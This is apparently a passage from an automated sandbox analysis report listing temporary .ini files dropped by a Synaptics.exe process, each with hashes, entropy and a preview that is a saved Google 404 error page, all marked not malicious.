SSDEEP:	24:GgsF+0UZLIWDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+5um+pAZewRDK4mW
MD5:	FEACFEC8BFE34BDB93AFCBD86C11F5B8
SHA1:	75A89EE0D2B2F65AF76F6D5F3390FF177BEFFF66
SHA-256:	705CB2D940DE65BBC4410C6EE351090FE42FB3A8CDD23A7EA2BC7F32E9919DDF
SHA-512:	E5908665B6167AB078D2CA7CD3FA79CDFA598963595AE2A97D33CFA0EB63DF1C621851D3CBF9911AEEECE1F2334E0AFDFC8E0D874B84F10F250C589FDEB45ADC
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="0QEiz-ldSzXeHAkC1yJYdA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\5qhqwIb.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.255202908664148
Encrypted:	false
SSDEEP:	24:GgsF+0ZfSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+if+pAZewRDK4mW
MD5:	235FD0D0DA40D7944F86F90546C50C38
SHA1:	D598538334CED174B076B5392E7BD724145C1C93
SHA-256:	A6CACEA3ED0D0206F031CADB7731BA042BE81265204353D77AE5EAFCBAC0A58B
SHA-512:	A2BCB53BC36A027865A047C7F2F9399B7A512D93591D0A48556E8C0E8CBBB83FFA154B1CFDF8510D48DC99BFC0ED9D7F6B320FCECD0CF11DBFD310107CCAB0AD
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="JZ1uvvUvqJEaLzHwncopvg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\7Fx9stE.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.285928542759019
Encrypted:	false
SSDEEP:	24:GgsF+0k6SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+D6+pAZewRDK4mW
MD5:	CA3D614299D97087F4A410AB6C4FC537
SHA1:	4632F7863AB78357DFE83F50B827848AC13EACB6
SHA-256:	F23B8EEC37E8EBBF7CBD3F86F6C12A9ED7B0E9DD8236FE6581A450E2062D2C4F
SHA-512:	DE11A400C73859C180215F9A2C0CD2E0DB224FCB0C6A2F3455D3D05587945BE8C04B9FF63DF540ECF9A9C9F6DBDAAAAB5C8FBF6C5C813F8C5817DA75F542862C
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="QIDIchTkJU0jKDSHOyUXBQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\7XUCdQQ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.256116967057826
Encrypted:	false
SSDEEP:	24:GgsF+0oSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+v+pAZewRDK4mW
MD5:	8DE5A75202A27B08EEBC4E6CB400A636
SHA1:	6A6A0E676CCA81E2C6A7C2CA1D221C7766582D97
SHA-256:	4F7047EE7850F1CEA553AC47ED2DD0FB4DC80D34C2590824C99AA4138372741D
SHA-512:	973D09580E80DE9103F64DABF30563C1530DBD0781485AE13AC955E20ABDAED44754108AA7921216A452947E7A0D7837B26F2071D92BE7E2F54D971E19C0019C
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="m3D3VrBLkLxzN7chln11jw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\7w4aaRj.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.270523977844735
Encrypted:	false
SSDEEP:	24:GgsF+0qSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+p+pAZewRDK4mW
MD5:	8014E63EE4368FD76F53BA8A8D356ABE
SHA1:	E3AF313E78453755944311F1841BE6D70F80A5DA
SHA-256:	F0937A65392E75CC303FBD9CAA7A6CB4A3A5849848A1F4907FD7634547532B16
SHA-512:	D0B0C5782C2FE6AD553878A8A1EDF9AD08D81805D77895A03B7E0064E482C30C81DD56C2F19D5B493785917FC73B26C6E8ECA536A381CABE4B7F184B77DD04CE
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="9NOggwHqaCfb8rF8zIVLSA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\8bTYQVA.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.258611716681141
Encrypted:	false
SSDEEP:	24:GgsF+0rZeSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+we+pAZewRDK4mW
MD5:	F9674E2B477866D2566F5295964E5CE4
SHA1:	5CBE5AE689127C95742ACC43167851C7A330469B
SHA-256:	371EB6490FB7C89F40BCAEE553D000ABAD2B637929FBDE186F9535E93EFB2634
SHA-512:	03B060BF78567BCDFF47078571E7D9DC5C5514C9652636C2340E065CD50090033A12B8C0A50F8485E7A2408787F65B3095020583802862E205BF9F5081FEBBCD
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="-CnbJhhLxOeBqHcn6wMSgg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\8uHCHLQ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.266621375602147
Encrypted:	false
SSDEEP:	24:GgsF+0eMSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+2+pAZewRDK4mW
MD5:	207C54F4FB0D18D42EEB7869CDE8E545
SHA1:	7D0E44416121AE329AC3AF794D839C1C0A22604E
SHA-256:	BF678721ED3F58E38BD66B3CF00E4C272B8BF7A7FA376804EC46DC42F0D751F1
SHA-512:	1C3A67DCAFAA63AE7512FD52E76F10FCE20DFF1E740953FD4B8EEFCFB533ADC03B40B3C4D1323A52CBA17F22E6F5B8B8552F152F3CEA8D51D402C748468C9CB1
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="rtXPDPEBCsOGoj1tRGlNyw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\9GxsAFm.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.255727354439481
Encrypted:	false
SSDEEP:	24:GgsF+06SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+5+pAZewRDK4mW
MD5:	1B7C9E9ADB583202002AD9BA4731A163
SHA1:	9A51FDA811BCBD3088B8CB5BBB29A213F8F656DF
SHA-256:	97C5C65E4601FF3470B7B7AB5F24CF341E6538D68231FD9EBB85C0A3D2C0492F
SHA-512:	29262EA0160990A9A2CB0F96A2B36186538B4C0A9916870A6EC3E8B3CB76227DB0EDFA76C3D06528AFAB888EA7DCDDC5D01FD4FABE560AE05357ADE98345C980
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Ml03r-tq0yD3D-oQiUJmLQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\9P7WTBE.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.276582692968108
Encrypted:	false
SSDEEP:	24:GgsF+0LSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+4+pAZewRDK4mW
MD5:	8D1B79B6009234EEDDE5D3FCC844E0F1
SHA1:	BD2A9D020A30ACF0BFEE2C3889700E0148A21119
SHA-256:	9A8C4868214021CE3518E354F66D8865BAF593A084E320D1CFD38CAC82C005B1
SHA-512:	FAD8EE16D7A89D7C5848E7601E77DD86A0F1CC719C16038E47F5026A9ABB840D2F15F244F894C625CBA9EF66F4522B2B36095448B6FD706470D366F1D1D23A9E
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="z2QJPfqP4YO4oLdKC2jMAg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ABeAe1g.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.256878894233277
Encrypted:	false
SSDEEP:	24:GgsF+0kdLMSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+tdLM+pAZewRDK4mW
MD5:	6011815D10825C5D3EC9B60325E4DDC8
SHA1:	22D3C3222E28120C815312B3A1C35D807FB10961
SHA-256:	E88FFD5B284B4E454789A73D8AF0DDBBFFA9386F6291329BB68160756DA8DB53
SHA-512:	4CB370AA720A164416EED8CF71E9361D6D5A229FCA7009E911DA62DEA08482BF90C98B713928F1B99899FEB9C146AC80B539655B914C2E9D601C476BB980B1D5
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="VWI7hndaieGKfWVFMK2smg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\AEPOrqw.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265783208285125
Encrypted:	false
SSDEEP:	24:GgsF+0ASU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+f+pAZewRDK4mW
MD5:	A2698C5239F095DC0F790926F2D0DA1F
SHA1:	42C76E4A57C71961A10214448BA2764C598061FA
SHA-256:	660B4DF374BFCA7150D4D8F28B6BD7DFB13AEB1DCF31C4E3AE3BF3B56ACC9AFB
SHA-512:	B838F61039F973CE380543C0AB41756C78846EB2DD8779839553794460EE62208AB4543E016F827D4F48CCD7B1CC697FC5B7CB93DC12BE1D47405E34238BC827
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="DGoLEwXNfIObwsXiBWq03g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ApRuHhO.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.272463555899183
Encrypted:	false
SSDEEP:	24:GgsF+03XSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+OX+pAZewRDK4mW
MD5:	5349096F50ADD30EE01D9FE71E4F5E06
SHA1:	57BDEF063B6F4C23B0CFABFA50EE67120A3AF58C
SHA-256:	F26B52624D0CB4BA77ED4D4D3E453C9282B0CDA5913DA54A8357E8A745348B85
SHA-512:	8A9E127D5AA3AABBC96CFA7546291F7F4017873F0DF4338F0D19B7BF6A106427DA07F7E5FBE1E475EAFC491E61CD0DA4F56EDC2AC2B62513CB6D13EE880B4BCA
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="8wwN_W81JLVNSyCI-vbzyQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\BLf8YtB.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.268219974902907
Encrypted:	false
SSDEEP:	24:GgsF+0mSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+1+pAZewRDK4mW
MD5:	AAAAAF319B827EC3929413200A610E32
SHA1:	A1FC9461D554A35E4B9110B792EA7B4C78667530
SHA-256:	1BFBE21811387411C3A46AAA8616597BCE1D277CC15EF64DBCF30EC209605BAC
SHA-512:	448738DAD8B62B54AAB2B21BEBBBAF0BD6991B9ECDA440123FF0FF681A7FEE4573E915B06FD79C4FE952C0FEBC24B255130DBD8D74869023A1C7CD4276C08F27
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="JWHsBX0riJFfqN8pjfQArg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\BljTqdk.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.273916430199015
Encrypted:	false
SSDEEP:	24:GgsF+05SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+W+pAZewRDK4mW
MD5:	9BC1868F48A3DF9D3406587467909ABF
SHA1:	FE19C25F6589CB09373639CF5DAA47122E1DA237
SHA-256:	A87F8B06F897F881B82B5685CCB756F836AFFD597BD91CEA798496CD40EBFA0B
SHA-512:	EDF0CE1451AAA0FC30F310217BFF516B876417D9BE740C83AA06EFDF0C6A69AA1E74059F253D8E31848408BFD28056FD23C6256E4162978875B17BC663D54858
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="VMjwWb-_X8cIPQqL-kqf1A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\CSvMBJ5.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.256081144364772
Encrypted:	false
SSDEEP:	24:GgsF+0lSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+q+pAZewRDK4mW
MD5:	0FC5E73DA6840B2395359706A8D30FBD
SHA1:	1286DDC0382CA8FA3B8B4940A6B144FC48008815
SHA-256:	6DAC9A55D392FC66EB71B6551B47D2A28EA011AEC1C237254FB8F8F44955037A
SHA-512:	89FEC48CC0235B1BDC8BCA5160ABD986056953C2585CCDB857F215176D0F98C9E89C8402EED079F66B958C11839405EDB2D9B5A4BF7CD9B520B4BD687536CC0F
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Qo2_576yHDmekrbcJLt6Og">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\EFgFIXS.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.272232668245784
Encrypted:	false
SSDEEP:	24:GgsF+0Da3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+n3+pAZewRDK4mW
MD5:	9579839AE39CCA359EF1AFFE44F1CF8D
SHA1:	8577FCEF73EFE5235A2AFC517BF32B637953C89E
SHA-256:	E309221B5D97AED373B6852AF974171B67EC402545F62E1B4DB997E06B6F3346
SHA-512:	95C2605A4AAAA6FBAA689ECAF392B1D0CC3212E3AE52E5EB168E5E45931439D1275CFD58E2A864EA7708890B0A554920137BC4D39269A7CD689C01EC7816887C
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="QtWRhG8J6yA638GnhBB7Fg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\EqmnxQp.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2725494298061095
Encrypted:	false
SSDEEP:	24:GgsF+0LKQSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+q+pAZewRDK4mW
MD5:	B4CBDF841C55BFB9770E65CCEAA97794
SHA1:	92CD56021183F62651E29EF5A0C30C344D6DBF7F
SHA-256:	155665AB914D970EE2E7B294291D71AAF85A77C0CBD8B8BF6AB0DC5BFFCEAB86
SHA-512:	4B48C7243EE3C10DB919AFDEF864109B5E026BFD0D5D200F601E10298CA64AE576566C4C300BA2C6D6F6D8CACBFD519D3012DE6F003DF36A9B85D053F2A34400
Malicious:	false
